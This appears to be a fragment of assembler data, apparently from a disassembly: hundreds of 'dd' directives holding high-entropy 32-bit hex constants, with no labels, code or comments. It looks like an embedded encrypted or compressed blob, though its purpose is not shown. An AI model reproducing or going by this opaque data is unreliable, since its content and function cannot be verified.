		dd 0A8F8EDF4h, 67CAB6A6h, 825E7453h, 0DA9D6CF6h, 5AC746Fh
		dd 0E0551141h, 55743427h, 0DECF0351h, 9C603A49h, 0A739CB12h
		dd 0D3E8F44Fh, 0BEF1342Fh, 0E7BA91A1h, 11230C96h, 1CA55A22h
		dd 177FE90Eh, 6C1654FEh, 0FD6A328Ch, 59A8CFD4h,	1F27B0B6h
		dd 0E96F861Ch, 8E89F602h, 0D3A1217Eh, 0C123C2E9h, 0D294AEDAh
		dd 9B0ABB61h, 0D1B65C30h, 9F3FA886h, 753A160h, 0E95734D5h
		dd 0EAEDD14Bh, 7852BF62h, 9B5C1EA9h, 93627825h,	0E22A4B1Bh
		dd 4CD7A849h, 65919827h, 17B7763Fh, 70B51849h, 25D7D899h
		dd 6A44DC3Fh, 0B2BD323Ah, 0CEA10D63h, 0B2D79FBAh, 0D50E6E09h
		dd 9D765FBBh, 0A9F3969Ah, 0E56AA762h, 3EA606FFh, 0CF283BB0h
		dd 5EAFD473h, 0FEB48312h, 93157FBBh, 6F30E859h,	0C8082A3Bh
		dd 9A3FE008h, 78111h, 9A4B2090h, 90314EF1h, 39D8063Dh
		dd 1FBB5F6h, 0FE9849E1h, 0D9BF49CAh, 0F41ED3A4h, 52349D58h
		dd 2BEB6B6Dh, 0F619C05Bh, 0DCDD228Ah, 8A94CCE5h, 915F0838h
		dd 0FE71C811h, 608AB73h, 5F553108h, 0D77EFF69h,	0D3899259h
		dd 82804B2Dh, 0D0F6BD70h, 1C292AB1h, 0FD1A1505h, 79687FBBh
		dd 14ED2BE5h, 53A545C0h, 935E0F30h, 49D3DF9Ah, 0F698CA8Eh
		dd 466AD6E6h, 0E42207C3h, 545E1609h, 6C1B82C3h,	523A35Dh
		dd 7D5F1DAAh, 96F0280Dh, 6650962Dh, 175A95ADh, 9C661112h
		dd 0A1C6BB23h, 13A64153h, 0F80AD292h, 1058887Fh, 1B98D72Ch
		dd 618B787Dh, 0E4C43014h, 0EDF24ED3h, 25D33FCEh, 6695AE66h
		dd 2E810578h, 3EF5A3C2h, 0A68F4CAAh, 0CCBF163Eh, 0FA16F66Eh
		dd 1240E574h, 0CF49F9C7h, 57610D5Dh, 0C6104A26h, 29F4D980h
		dd 7F28F959h, 8861D88Ch, 0B4AFB74Dh, 0B0D3458Ch, 0D0192FEFh
		dd 0D8F05CA7h, 5C202569h, 25CF02D1h, 0AA71D330h, 9EF358D9h
		dd 0D5D8C8C7h, 358C9E1Eh, 59AA2361h, 699CD804h,	6D212E18h
		dd 0C806EA05h, 0B9B4F4FFh, 83900D0Bh, 0E00538B3h, 0DC0AB085h
		dd 517E45F5h, 0A122D4CBh, 934854D3h, 87C97B95h,	6652885Fh
		dd 193CC930h, 0D9C5B0A1h, 69529C1Ch, 1235DA6Bh,	7C4488E3h
		dd 0A71A2DACh, 89878714h, 10E3C442h, 70A15B9Fh,	0A10DB19Ah
		dd 6647BD84h, 0F0E7D7ECh, 7E732350h, 262EDEF6h,	823EED6Eh
		dd 7B03C5ACh, 750B1B5h,	0C818BC39h, 7269EE7Bh, 4C499C75h
		dd 0CA31E113h, 0DE9C4EDCh, 2F2EF25Ah, 472CC77h,	2B772D7Dh
		dd 0FB18DD7Dh, 6291DA92h, 0A97D6A82h, 0DC8A51AFh, 2684E6E7h
		dd 9F9380E0h, 6CDAB549h
		dd 21056636h, 52B57DE1h, 0C2FEFEBBh, 7D69D750h,	16FCEF03h
		dd 4CD87EBh, 1FED462Ah,	2AD5C583h, 0C65FD4B6h, 1171C841h
		dd 9F38E0C5h, 0C2DE700Bh, 318EF01Ch, 9D04260h, 15449803h
		dd 4F9694A9h, 66805F6h,	960BE42Fh, 0BAE0329Ah, 0BE8BFB6h
		dd 19BE8EA9h, 122842C1h, 0A79659A4h, 7A5E9AFDh,	6A932BFh
		dd 529E2E8Eh, 0CB391FABh, 0F741A607h, 0D9B931F2h, 0BEFD0167h
		dd 0B6FA32B7h, 77E796E1h, 0C96ACD78h, 7087605Bh, 5D139E76h
		dd 0B37CA1BFh, 0E0F7B7F8h, 5AA6B4CAh, 0FAF2B0A8h, 73138321h
		dd 977D3630h, 0E8E56B61h, 305D67D1h, 8193C671h,	39B2741Eh
		dd 0E4BAEF7Eh, 1AC43E83h, 4FFBDEBh, 0C061A14h, 0FF832621h
		dd 4D5C47C8h, 0C2F664C8h, 3F10E14Fh, 605FDD83h,	77324FC2h
		dd 0C11D9082h, 0DF369692h, 18E6AD2Eh, 0C6507E67h, 70BF1569h
		dd 0FA4E40E1h, 374BB49Bh, 0BF5084CEh, 14E8FC59h, 7312104Dh
		dd 54BBCDD4h, 0A2A22335h, 0E4342132h, 62153D35h, 6E4FF928h
		dd 5458D636h, 833C5B48h, 0FEF83CC1h, 2597CFCBh,	0C7C84C60h
		dd 0E858332Dh, 0BDA7CB15h, 939C4DF8h, 0ACA5D2BBh, 8004321h
		dd 7B9C0623h, 5BCD3522h, 7E9E1C17h, 0CFD8F455h,	0C4007BD5h
		dd 0DC405860h, 92E1CCEBh, 26C3720Fh, 0AC2884CEh, 0D37E6F08h
		dd 6363FD38h, 0FD3AD2AAh, 750E959Bh, 691691E8h,	5CEDF19Ch
		dd 8D83CFD4h, 37C6EB83h, 0D624364Dh, 0F03B1434h, 0EC66006Ch
		dd 0E8F53B15h, 9FFB2BB8h, 85E79163h, 0F98595F7h, 1A6F799Dh
		dd 0CA2FB4A3h, 2254CDA8h, 7B69D97Dh, 622A16CCh,	88955D4h
		dd 0AFF99858h, 761B803Ch, 3494280Fh, 7EAB51DEh,	0F3348242h
		dd 4E953464h, 0D912384Bh, 4B8B1FACh, 501F4B04h,	8C0ADB45h
		dd 8255BEB5h, 0EB053782h, 7455745Ch, 5CBF06C3h,	6BFA034h
		dd 60CB0C57h, 93431F3Dh, 0FA1254B1h, 7E565AF5h,	0DE486BE6h
		dd 0A419F24Ah, 5C76D75Ah, 0E97018A9h, 96B69A76h, 0F3075DEFh
		dd 35B8BD7Dh, 0B715376Eh, 0CC78831Eh, 0AA40009Dh, 57AF748Bh
		dd 96D62CCBh, 0EE9D5FF9h, 69EA840Bh, 3B033C2Fh,	0E84707F8h
		dd 4065B22Dh, 3CDB93F0h, 2A48C2D1h, 99614637h, 0EE080B23h
		dd 434569DCh, 7B7849FDh, 73F80B07h, 1CD04637h, 3C116F16h
		dd 5547A6B1h, 750E959Bh, 691691E8h, 5C717064h, 0DC0618B1h
		dd 0A6B046C8h, 6409C6B6h, 681DAC58h, 9691AB69h,	0E77DACCBh
		dd 0F2D1C00Ah, 0D1AB6528h, 0A1908FE8h, 7480EF6Dh, 44CD0437h
		dd 0FE372847h, 8576BE65h, 0CAD8073h, 0F4BDAFBBh, 0F580F3EAh
		dd 8B986687h, 0C06F5A29h, 0B00D63B9h, 15F6F7F7h, 0FDDFB883h
		dd 5B9D1AF6h, 1C9FA9Eh,	0D023B858h, 37A537E4h, 16B41DB9h
		dd 14A60168h, 0E708C247h, 0A4045A90h, 3D6BDFFCh, 443B2987h
		dd 0BCF84D9Dh, 0AC739AD3h, 1DB8B744h, 17DA5E83h, 0A3FDF2h
		dd 77F0E8Eh, 0AA9B169Bh, 7474DCA5h, 9F7EAAD3h, 8FEA81BEh
		dd 7A44BE98h, 0E573C29Fh, 5A004CAFh, 8A9556C6h,	3AA1CFCh
		dd 0A841C9A3h, 80FD5493h, 5FA0089Eh, 5418EB90h,	2B9DE1BEh
		dd 0E109499Ch, 4B62FB3Bh, 25802615h, 41BAC30h, 408B338Fh
		dd 1287EAA0h, 1CDB5DFBh, 2A133F94h, 259D5DF5h, 79770FC5h
		dd 3C6D1AD6h, 6406F048h, 668C7184h, 149482D3h, 0BE6B31CEh
		dd 94D23378h, 1BCB28FAh, 0F78AEBEDh, 6A0DEEAAh,	21C60A1Dh
		dd 4E7F7204h, 0D56B6ABCh, 84589DCh, 0E1B2B428h,	49B0035Fh
		dd 3F153881h, 0ACAE1BE6h, 0F19F2280h, 67A15A06h, 9E17EA9Dh
		dd 12E7058Dh, 7A982688h, 785C4BF3h, 0B9984179h,	0DB2C405Dh
		dd 157B01EAh, 94AFFD76h, 2283179Fh, 95F6794Dh, 21ECEE0h
		dd 0D7E77B39h, 0BC75C7CCh, 8F9E24ACh, 4BA284DBh, 1E258EC7h
		dd 0AE397DB3h, 338E3CBDh, 8F4AE29Ch, 69D573B2h,	0FAFA373Ch
		dd 0A16349FBh, 40206A56h, 0BE23603Fh, 0EEE2975Ch, 9529EED5h
		dd 3E83747Dh, 8FC6C958h, 0ECDCF53h, 0E8F166CDh,	6A698598h
		dd 80962CF9h, 566FA5F2h, 98BB51BAh, 82D42C3Ah, 772069F2h
		dd 79FDB3B2h, 5FDB42D4h, 2850AC51h, 799B4394h, 0FA39BEA1h
		dd 46D357E1h, 521AA212h, 7DAF7A08h, 0A5DDC4F9h,	0D2A9C699h
		dd 6008C402h, 0FE3A8899h, 89CADA05h, 0FE6F1151h, 1E3CEAA6h
		dd 0A728E684h, 0B31392ECh, 646577A3h, 54F82907h, 2E55EA43h
		dd 0F5BDF6AAh, 4E7F79CEh, 0EF0FE41h, 1AEB19C1h,	9A836D7h
		dd 5EF10099h, 30E65C7Ch, 787E3230h, 1A80AEB1h, 12E7058Dh
		dd 7A982688h, 4843A1B1h, 0F0C58EBh, 18380333h, 10D50F01h
		dd 57B632F4h, 0ACA4F40Ah, 7A93D207h, 0C44BF126h, 0C0EE2E83h
		dd 0F38BFB2Ah, 68B48189h, 0F5FDFD1Eh, 3340DE52h, 0A4935A31h
		dd 8EA25B87h, 5B9808FAh, 12830BABh, 0B6C386B7h,	0C8B31F92h
		dd 0FD949A4Ah, 0A84C3547h, 967951D2h, 0DA476722h, 0BF8AF78Bh
		dd 92F58561h, 8379450Eh, 30384CEDh, 62D33092h, 0E67F5ABBh
		dd 827ABB44h, 0F0E61EA8h, 154A32A8h, 42F9D20Eh,	0A6A6D673h
		dd 53F9B9B5h, 419EE81h,	0FEAAC541h, 8EAE7BE4h, 3006945Fh
		dd 0AA6A505Eh, 710A3493h, 0FADA783Fh, 750E959Bh, 691691E8h
		dd 0FE2C2251h, 0EC9FB727h, 28354AF6h, 0C5F96E72h, 56299046h
		dd 40EA15B3h, 0AAE618FBh, 0F4C9C621h, 82B214C4h, 5CDCA123h
		dd 0B3466F8Bh, 0F796502Bh, 2E3B105Ah, 25BAA637h, 770A0AEAh
		dd 0E7EFFD53h, 52344DB6h, 932DD60Ah, 1F1DA572h,	0DBAF3F09h
		dd 37C36E5h, 0E5C1F3C0h, 5AB3A8B1h, 0F310E19Fh,	5E4A18A9h
		dd 76D154C5h, 0A1E73D08h, 21D405D5h, 0C977F717h, 9F8D876Eh
		dd 0BFFF50BEh, 77F1AD28h, 77F95F2Ah, 9294895Dh,	5EB96C27h
		dd 0F4BB3C61h, 9E6640E0h, 6EB33A6Eh, 8DC07EE7h,	40D61A03h
		dd 18E1C491h, 2BFB5036h, 0C532581Ah, 0C06CF974h, 4B3CD63Dh
		dd 0E451E9CEh, 0B691E37Eh, 442D7976h, 915ED356h, 88979B10h
		dd 762BAC88h, 572DBE5Bh, 0E4B235ABh, 0DB2E8988h, 0B68EA782h
		dd 55844E0Bh, 0D807D4E9h, 0F77D733Ch, 0CF7BA1AEh, 9DB00BEEh
		dd 2E1EACD0h, 9023C6EFh, 6A831904h, 2CBFFD0Bh, 114FA1AAh
		dd 947DEC0Ah, 235AD3AFh, 63CB77BEh, 81A769D5h, 0C141BCFh
		dd 8C445208h, 3254F6BDh, 0A06AEEFDh, 95008FE1h,	0FD6BEBB7h
		dd 9BB02C8Ch, 0C65D8EF2h, 0A7FE54D8h, 0B647A349h, 5DD0D21Fh
		dd 0D4FFC795h, 86EFC47Bh, 0AF9AB1CFh, 0DDB3722Eh, 0DE809691h
		dd 3D3EEA0h, 4488CD65h,	4F1498E2h, 0D4CAFBD9h, 0D9B6E233h
		dd 3715DFC4h, 23DAEDA5h, 333CF10Ah, 59B7C12Dh, 0FB244143h
		dd 0D0684C05h, 0AA3D0DFBh, 6525FAF1h, 92E49BD9h, 89F4681Bh
		dd 8DD8F691h, 0E2B4A4Ch, 0BF1361BAh, 2F20318Ch,	0A0DF7814h
		dd 5DD82FDFh, 0C7CCB5A0h, 80EF9A2Bh, 7DD92D2Bh,	6E3BC375h
		dd 6E1B1B46h, 0F1B31CC7h, 5F821284h, 0A374949Ch, 83499E14h
		dd 0F7F14C29h, 2CBFB44Eh, 7D850DE2h, 985F216h, 0D58EB386h
		dd 0D6A21B5Dh, 2A0890E3h, 7F2EB14Eh, 3A383BC9h,	0E43BCB7h
		dd 40DC9C5Dh, 596F084Eh, 0A8C13222h, 0A53B86D7h, 0BA3C35D1h
		dd 0A9BF3404h, 4C9CB7F7h, 4882ED5Bh, 62DB4E78h,	0EDAB161Eh
		dd 6997F62Ch, 0E48ECC81h, 0EE98DAF7h, 396814CBh, 328FEAABh
		dd 0CF5C79D6h, 7FA40191h, 0EBF47570h, 0FCC1569Fh, 7D373E67h
		dd 0E93B8D9Dh, 12E7058Dh, 7A982688h, 0F51354ECh, 0C0D28721h
		dd 94C97Ah, 9088B0C5h, 0FA30A1D7h, 12992FDCh, 7FA33B09h
		dd 93A725EEh, 0A17477DDh, 21F6DDAAh, 0A3B24DCBh, 0A68B3AC8h
		dd 9DBB4F25h, 8FA11284h
		dd 0F4E69E6Bh, 0BCA8B6F4h, 0D38A2ED8h, 0C88A6C82h, 0CB14424Ah
		dd 3459BBAEh, 1072A5B5h, 377EBB56h, 28B1AD4Bh, 4DC4D667h
		dd 0DD516090h, 37289A7Ch, 0FC634B8Ch, 0B642A287h, 4F85E966h
		dd 0F871F9E3h, 61630E15h, 7656E1AEh, 0EFF572F5h, 9A6BA8F6h
		dd 5FDB42D4h, 2850AC51h, 484F4C9Ch, 5DEEBA24h, 4804C479h
		dd 237AD05Eh, 13471004h, 0E56D0805h, 0A343B591h, 2B56FA3Eh
		dd 0C3E0F9BCh, 0ACCA4808h, 0FE2EEFB5h, 7ECC03Dh, 80039305h
		dd 0A5E85581h, 0BD69CDDDh, 5BEB1267h, 0C6D81FAFh, 9C0557C4h
		dd 0B5CCB28Bh, 1018B3E7h, 6E8A1FC4h, 389B7538h,	0B039BAEDh
		dd 0ECAE9E70h, 665B9718h, 4AE84F19h, 0D68289F3h, 0AA6DB3CEh
		dd 0DB11ADEFh, 87A21850h, 0AAD37DB7h, 59A825AAh, 8957CF94h
		dd 0F1D34A6Bh, 5DA6BD94h, 68E21226h, 0C1461F25h, 0CC87AF52h
		dd 0A201F7CFh, 0E8E8D8CAh, 503FE2A1h, 2F35DAA5h, 0D9293AB8h
		dd 65D69644h, 0F276145Ah, 0B3096F7Ah, 49EE42DAh, 146D6E83h
		dd 3FD58855h, 0FCE790E1h, 0A5837738h, 916A9C40h, 0EE679465h
		dd 6907FE43h, 9020E78Eh, 41D577Eh, 0D0406985h, 1191B63h
		dd 9BB2A289h, 0E43F2A64h, 11B978DCh, 738877F1h,	5FDB42D4h
		dd 2850AC51h, 0A496E7DAh, 1AEB1639h, 205C677Ah,	0F73D2F2Ch
		dd 0DE644B17h, 0A46E042Ch, 8D347E4Bh, 0E696A289h, 0F2A082A0h
		dd 141BA1C1h, 0B09E93A1h, 403F89AFh, 0B16073A9h, 51A5BC35h
		dd 535D0143h, 65E8A6EDh, 0F3D714CBh, 0FB9CE9FFh, 0DBB134C8h
		dd 0FE16B2D0h, 5756D63Bh, 0C6EB5D7Bh, 75978E81h, 3E34224Eh
		dd 0D38A67B3h, 601DD31h, 0B38D7049h, 0DCD97FAAh, 0A588E1CEh
		dd 0B3897BB4h, 381856B9h, 61949D1Ch, 0CBB10C35h, 83F0DFD6h
		dd 0A714C3F5h, 3043DAh,	0BE6B8E35h, 931FD46Ah, 70E6EEF5h
		dd 34A2FECAh, 305F009h,	9DD156CAh, 973CF946h, 4EE6C4C2h
		dd 8B634F1Dh, 0F7FA4214h, 349AF73Bh, 6F76E2Dh, 0F3D9A5DAh
		dd 8D298495h, 53C912B2h, 32AAB2E7h, 0B36A85B1h,	0B9FC2A5Ah
		dd 5BE4FA30h, 0AB50F5B8h, 0DE011802h, 6C26EB9Ch, 0E7D40401h
		dd 5E70A3B3h, 0EA29C9C6h, 0EE8836E6h, 86FE6E9Eh, 70EB04F6h
		dd 694A338Ch, 8354FCF7h, 7925D678h, 0E0FB8D31h,	0C080DEC8h
		dd 15614E46h, 0F2E8F2B7h, 3709F354h, 0C90AA731h, 7523E294h
		dd 0C68073BBh, 91C7BF63h, 0C879532Eh, 38BD110Ch, 9CC2A191h
		dd 0A0878C5Ah, 1DDA8342h, 0D7B6621Bh, 1AD7D439h, 453C99B5h
		dd 35CEDBF8h, 76CD8DDCh, 0D797152Fh, 1039A4Fh, 0B79A0264h
		dd 41DDD17Ah, 2BC9C480h, 0FB7C67F1h, 0F4D77CB3h, 8BCA39FEh
		dd 52091E48h, 7867390Ah, 2ADD701Ah, 0AC8FD9A9h,	0E54F30h
		dd 0C4F7A500h, 4D38FA86h, 76A8CD78h, 0FE2ABF59h, 46BCA3FDh
		dd 0F1E4F7Fh, 0CFB42D86h, 18EA7E69h, 0C7D17D0h,	85F04F66h
		dd 31C2013Bh, 617EAAD7h, 1DAFEB7h, 0DC82241h, 0C32A9DF6h
		dd 0D37CC26Ah, 294D6D93h, 43011587h, 0AC6490E2h, 0D0D4B545h
		dd 0A57A22CBh, 13D52647h, 9DFB92Eh, 15AC8797h, 0F6413207h
		dd 0C984C3D7h, 0C12D2057h, 0D184C3F1h, 0E72D2EAFh, 6DAFFC44h
		dd 9A0899C2h, 0E6CF00CDh, 0FE82EDC2h, 0AF80CE90h, 6DE7516h
		dd 975410FDh, 81CD54F6h, 6FAB50BDh, 0BDF74808h,	0BDD32BA2h
		dd 2D70E4D5h, 91A6B402h, 0ACE41FCAh, 0AE38D45Ch, 670BDB14h
		dd 260C0AC2h, 25EDDFFh,	0E1D62628h, 56CAFC5Fh, 93CE5307h
		dd 18E756D2h, 0FD6B6A7Bh, 0FF4D731Bh, 34A66672h, 579A043Bh
		dd 0B2EB9484h, 5F662C20h, 3A955CDh, 4EA51FFh, 65F745AEh
		dd 8EA70B46h, 0B99ED133h, 9EAE58C7h, 2AE46C4h, 0E3D4F24Ch
		dd 2B135A8Dh, 0D8E501DFh, 0DE92A048h, 4D38348Dh, 60FA1EFCh
		dd 0A1B26827h, 0A8C5AEBEh, 89C3573h, 0BE515AC4h, 0A249F5EAh
		dd 9ABF10Bh, 0AA43062Ah, 2290A49Bh, 0A245773Fh,	5757C18h
		dd 7F8B4CD7h, 23F4D099h, 0DCE8CA73h, 30384CEDh,	62D33092h
		dd 5E05B46Ch, 0ECF59279h, 9FF9371Fh, 0C390A8A7h, 1C24474Dh
		dd 0CCB40DCBh, 1F299956h, 0A7FB39AEh, 0C02117A1h, 0D1803FDAh
		dd 159BBD0Ah, 9AFA2586h, 0EA5D6470h, 0A5F893D8h, 9CC54BAEh
		dd 0F74979B6h, 0E027A99Eh, 213A392Ch, 52532E7h,	0E182736Ch
		dd 0A3EBEC20h, 0BF244113h, 0F407BBD9h, 0C1603C6Fh, 789D8CC1h
		dd 48CC31Eh, 92CE412Fh,	64645D38h, 21C828A9h, 0C87A229Ch
		dd 8387CA39h, 3146A72Ch, 9A6DCC12h, 9F8FC4AFh, 2D107878h
		dd 16BD8822h, 53F08040h, 8A7FCB01h, 1DD44F8Eh, 87E50267h
		dd 26D391F7h, 0B6BB03EAh, 0D4AEB0B2h, 4C8F3F1Ch, 5B836EBh
		dd 0F64C03FFh, 0CEF3DABDh, 0D44CFECAh, 0B132700Bh, 2E28010Ah
		dd 8643EE58h, 4B578C58h, 0F36EBF5Ch, 9F6CB457h,	390E6413h
		dd 27049BFCh, 0EA50B13Eh, 0D2731E63h, 8C0251C1h, 0BD24C1FFh
		dd 565AEE62h, 0A0EF0A83h, 0A61C64E5h, 286B0214h, 0C383110Fh
		dd 82757B9Dh, 52DD0E4Dh, 241B8BDCh, 0D850120Eh,	5157FD26h
		dd 1C82D150h, 74C14E3Bh, 0C6B58916h, 0C8CE4CF9h, 0DBFDE659h
		dd 709B0794h, 0FD636177h, 0E23E7E89h, 1EB91D9Ch, 0C27DC8EDh
		dd 65165BB9h, 0AAB5EE19h, 0BB97EE8h, 0F7254A4Ah, 0DD46AA90h
		dd 0B39BB294h, 868B4002h, 0CC1FE8Ch, 3260BF5Eh,	0D34C7AADh
		dd 0CEDC116Ch, 0CA265B3Fh, 27944199h, 0CC72CD15h, 0F97662C2h
		dd 436FBD14h, 4A949E18h, 0BD4366B5h, 0FDEDE89Bh, 0F622E362h
		dd 5E5B60C7h, 80C09EF4h, 7BD14129h, 0F62A3BA7h,	43324689h
		dd 0DE9DD846h, 41913E4Ch, 0A1A94B27h, 2ACC1B55h, 0F837DD65h
		dd 1879A22Ch, 0BB0558D9h, 1D9D3482h, 10D341C1h,	9157F3EAh
		dd 3CA2B565h, 0E449C43h, 0F0FA7406h, 995D0913h,	93390C63h
		dd 0A652EAA1h, 0A2CCF48Dh, 791AE3C1h, 7E2C5F77h, 1E061515h
		dd 0E8BC97DCh, 324240E9h, 0EBB14991h, 0A3DE5A2Ch, 59483C71h
		dd 739BF8Ch, 0D601959Bh, 32D41CF6h, 39CB5828h, 754452F4h
		dd 0F8AE13F0h, 0BAC8029Ch, 0C6E89E28h, 45675CD9h, 0DC56946Bh
		dd 0DEEAC942h, 0CF1638EEh, 30EF96BCh, 77CFD7D1h, 356D0B0Bh
		dd 0E67B6EFFh, 8C79E0BBh, 64353BF6h, 7F41AC2Bh,	137405ECh
		dd 0E62C4EA6h, 21A78163h, 0CAFD3CE2h, 8C6A06E4h, 6ABF1C86h
		dd 0ED7950FCh, 97EF1262h, 0A382B34Ah, 8DB8BD37h, 0ACFC323Dh
		dd 0E3849AC4h, 0DD31C9DCh, 4B273B7Ch, 0E46465AFh, 0FE4D4F79h
		dd 4D171335h, 0C115F262h, 0A28FE7CBh, 4C3A4B6Ah, 5D099AB6h
		dd 8230AA01h, 93024FC3h, 0DE97D81Ah, 7BAA8B3Eh,	7CF2A7B7h
		dd 686D831Ah, 5DCF8EFBh, 544432E6h, 0B04BD0F2h,	5D05BB4Ah
		dd 0F1AA95D3h, 5B1706FAh, 928D3847h, 318214B0h,	7529A1F6h
		dd 0E8366DDh, 9001A911h, 5C942D4Ah, 2DC0A497h, 0AF02161Eh
		dd 7F578A82h, 549AD6F7h, 79F55F56h, 0FE6AFFAAh,	7E107106h
		dd 23892A16h, 0BA8DBD2Ch, 98FFE421h, 0E4074C26h, 8FB8A149h
		dd 12C4BED6h, 0AEF382h,	6FDA912Ch, 276C1359h, 0FCCC41Fh
		dd 0ED3E0D42h, 47B40BC3h, 0A44653FCh, 7865793Ah, 8C69770Eh
		dd 0CF780522h, 98D5CE39h, 0C54F2FD9h, 230DE091h, 1AA0BC0Dh
		dd 24B9FEEFh, 9CBB5C22h, 46351FEDh, 0DE88AF67h,	726CBBDh
		dd 3687D401h, 0DBDB043Eh, 0C42A4E1Bh, 0ABC7FA18h, 36B96BA9h
		dd 45007760h, 33A817B2h, 0CF516EC4h, 0AEC3ED8Fh, 4D3F105h
		dd 0EAFF5653h, 0AD4B8383h, 0C6CF734Ch, 6009A42h, 0CC5DD4CFh
		dd 0AFF773E8h, 77E4BF8Ch, 5E24C6C5h, 0F2607D54h, 14D7F3A0h
		dd 5E177FECh, 5E70426Dh
		dd 0A53FC3CBh, 0F8E09C9Fh, 0E0B08EFh, 473675F5h, 97A17E40h
		dd 51DCB3C1h, 0F6C9536h, 79C71A0Ch, 587BC35Bh, 8588550h
		dd 132FE007h, 6B7EF5BDh, 55EF19C7h, 6C7C4C79h, 0B1BAC9BEh
		dd 2843E0C6h, 8F15362h,	966DCBCBh, 0E8C37C7Dh, 0D9AFD907h
		dd 46CD3167h, 581140C5h, 971622C9h, 0C1C0A012h,	47C5714Bh
		dd 0F4706247h, 0B17897D9h, 64486173h, 0CA9048B6h, 0AD2B512Dh
		dd 0E409333Dh, 1399AD01h, 66FC408Ah, 34E198CAh,	8C2A1DF8h
		dd 5F017DD3h, 4571FFA5h, 125FB1F0h, 5F4D711Fh, 348338E6h
		dd 39FC0D8Dh, 0D2573EF7h, 158554CBh, 2A974895h,	0D2A31FDCh
		dd 58ACA8EBh, 0A14DF26Eh, 0BE3BAB5Ch, 1BDEE9A7h, 9B63BD69h
		dd 0A9FFABE5h, 58012284h, 0DF06A70Ah, 0BE623930h, 0F5CF708Ch
		dd 203652D7h, 0DD790EDDh, 0D0BD65Ch, 0F2A283D3h, 0AB0B16F8h
		dd 5AD493F8h, 0FF749BCDh, 6829F665h, 81C3D77Eh,	91033A23h
		dd 92042630h, 0E396AD19h, 0F478D6C8h, 5FAAEB53h, 615C51E4h
		dd 71B1AC68h, 0B0B57D86h, 62EC4E90h, 0EBE8ABFCh, 0F55B6911h
		dd 5F61C17Eh, 6CCF0ECDh, 0B43B7201h, 41B4A89Dh,	0FFE9A794h
		dd 39BD71B2h, 0F461C0AAh, 7D67211Bh, 0F551BFF5h, 58DDB48Fh
		dd 0BF1E0389h, 90C46F20h, 0D7FC408Ah, 797D244Eh, 6B1ACAAh
		dd 0B09EB36Fh, 29BDDA48h, 0E965532Dh, 0D69D7C8Ah, 0D08D9BA2h
		dd 2A9ED7C8h, 0B9D18F7Bh, 0B0CDA7EEh, 0E096F369h, 84A06B90h
		dd 38B18D64h, 87990E6Ch, 40F35858h, 0B3967B33h,	84A05DCEh
		dd 503B15BDh, 0B21EEE36h, 6E546B8Ch, 1F9C4715h,	99EF054h
		dd 4FABEFFCh, 8FA5C95Ch, 0E08E1028h, 0E998EF81h, 0A443E691h
		dd 1059D6B4h, 0BC1B9E86h, 1FDE7941h, 4FBFF8EAh,	44E14139h
		dd 0A7F5FCE0h, 0D64F6232h, 3A37DC54h, 0DF3E2DB3h, 846E2D5Ch
		dd 0E809972Fh, 9D890A62h, 0A1B8FC2Fh, 59ABAC6Ah, 6178FA49h
		dd 6DFB732Ch, 1A1E0CB6h, 0CCD4C3AAh, 7093B854h,	9ED6F59Eh
		dd 9C7CB4DEh, 4D1C14Bh,	6D34B2B7h, 6491CAF5h, 0A1DAB6B5h
		dd 37B8C680h, 6EF9332Bh, 77AF75D5h, 94312C3Fh, 4683E452h
		dd 2D71CF81h, 366071FEh, 0B539553Ah, 7991E445h,	3660788Ch
		dd 19626CBEh, 647E6282h, 0FACFECDDh, 7C9FC67Bh,	0EE9364h
		dd 274E13ACh, 62135738h, 0F5D8AAABh, 0A1B33E5Fh, 0B20B7771h
		dd 0B570BB48h, 23131109h, 0DDCF90CBh, 603C5E64h, 1C53540Ch
		dd 0C03DBA34h, 0CB6B7578h, 3CEA441h, 3AF3DCEFh,	262B9515h
		dd 0ED9E0491h, 0B454B4EAh, 0C4B85568h, 0D29B7742h, 9B0F1A14h
		dd 66ED18D7h, 0D988B7BCh, 0B50E9E33h, 0F9DA0C0Eh, 35E68515h
		dd 0FB9B8B6Ah, 3BF90877h, 7895DCBFh, 9340B10Bh,	44889A2Fh
		dd 659911E1h, 475A26B5h, 3FFAC88Eh, 0A9C43301h,	78ADEB7Fh
		dd 7F5C5E03h, 956CD830h, 0AFC613F0h, 12A53865h,	1C844EF6h
		dd 0A932BB8h, 3169359Eh, 0A712759h, 0F2E02393h,	7D1A8513h
		dd 0E7D5F165h, 8507DA0Bh, 0C43759C2h, 6E4C2287h, 76528526h
		dd 0C30987AEh, 0F3E81959h, 0D552B8C3h, 8E563934h, 18E870EFh
		dd 0FB7871E0h, 6259916Bh, 4EC16DE2h, 0D62F9C15h, 86A4006Dh
		dd 554642BFh, 47B7B2E3h, 5DAF7664h, 72FA7A6Ch, 0DBEA455Ch
		dd 0E7CD2720h, 0A7E9FE32h, 0A4E6C6D3h, 741FD1C4h, 0E4B4CEEFh
		dd 7C7FEC18h, 0C130F98h, 0EA248688h, 5F91B3CBh,	48B606A5h
		dd 0E710B1C6h, 1B004E8Eh, 398623Eh, 0DCBBA7F8h,	2335A9D4h
		dd 8A08C1E5h, 95002801h, 68C7EF20h, 0A4C8F824h,	1BD0B8Fh
		dd 7CF36097h, 8229DDC4h, 0C9F7C52h, 76EA83FAh, 0FAC61084h
		dd 17D2408h, 9DADCC71h,	0BB1369CAh, 6C784D6Bh, 184B4BDh
		dd 0B489F818h, 0EAA2C983h, 0DB596C88h, 74764DFAh, 922F9A6h
		dd 60FC8428h, 47FEF0BDh, 8BBC6C99h, 0ECB55446h,	651153D8h
		dd 919FDBABh, 966C1D7Bh, 3CA3F166h, 0E7CAEAD1h,	7C324745h
		dd 21585250h, 54EEAC65h, 0D661D316h, 0CBF68E8Ah, 2AD6C570h
		dd 5862481Fh, 759B4DEFh, 0B295982Ch, 371FB2D9h,	0BAADDC89h
		dd 38CF132Dh, 4A4E969Bh, 0F1690A05h, 0FB8BCEF3h, 893DAF6Eh
		dd 59AB4F88h, 4D4E2435h, 0D477800Eh, 0E8E0D093h, 4818CB5Fh
		dd 0E9C408F7h, 0BAC814F5h, 555F0C7Dh, 0B15F8A87h, 4F28691Fh
		dd 69C04DDDh, 184652E4h, 0A547C92Dh, 6615DC85h,	106C2190h
		dd 245C60Bh, 993E3111h,	41611299h, 0D30F1D42h, 35007723h
		dd 0B07FDA17h, 0C363D84Ah, 0F39C96AFh, 1107096Fh, 9AF27626h
		dd 0D6355B49h, 7BBCD464h, 66888BAEh, 0F462C06Ah, 28B042B6h
		dd 69405172h, 99894C92h, 0F70BEF7Dh, 43513AA7h,	46A4C0ACh
		dd 0D40890C2h, 3ACBEFF6h, 55C3739Ch, 94CC4C5Ah,	0C079DACEh
